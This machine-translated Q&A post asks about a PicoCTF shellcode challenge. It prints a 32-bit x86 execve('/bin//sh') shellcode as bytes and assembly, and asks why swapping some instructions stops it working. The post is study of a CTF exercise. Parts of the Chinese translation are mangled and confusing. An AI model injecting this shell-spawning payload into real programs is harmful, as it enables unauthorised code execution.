为什么在PicoCTF Shellz中没有一些shellcode工作,即使它与那些相同?

时间:2017-10-23 14:27:45

标签: linux shell assembly

我正在尝试了解这个CTF problem的shellcode解决方案。

0:  31 c9                   xor    ecx,ecx
2:  f7 e1                   mul    ecx
4:  b0 0b                   mov    al,0xb
6:  51                      push   ecx
7:  68 2f 2f 73 68          push   0x68732f2f
c:  68 2f 62 69 6e          push   0x6e69622f
11: 89 e3                   mov    ebx,esp
13: cd 80                   int    0x80

我对shellcode的理解如下:

  1. ecx设置为0。
  2. eax * = ecx,所以eax = 0
  3. eax的低8位(即al)设置为0xb:execve()的操作码。
  4. " / bin中SH //"被推入堆栈。它的指针放在ebx(execve的first argument)中。
  5. int 0x80是系统调用中断。我们运行execve(" / bin // sh")并打开shell供我们使用。
  6. 拱门似乎是i386的寄存器命名方式。绝对是32位。

    我不明白的内容如下:

    1. 为什么当我用mul ecxmov eax, 0x0替换xor eax, eax时,shell不会产生?他们都没有将eax设为0?当我仅使用xor ecx, ecx替换mov ecx, 0x0时,它运行正常。
    2. 当我用mov al, 0xb替换mov eax, 0xb时,它运行正常。但是当我随后删除mul ecx时,它再也无法工作了。为什么需要mul ecx?如果我将整个eax值更改为0xb,那是不是意味着我不需要先将它设置为0?我猜测原始shellcode必须,因为它只将eax的低8位设置为0xb(mov al, 0xb)。因此,较高的24位需要为0.
    3. 感谢帮助人员。

0 个答案:

没有答案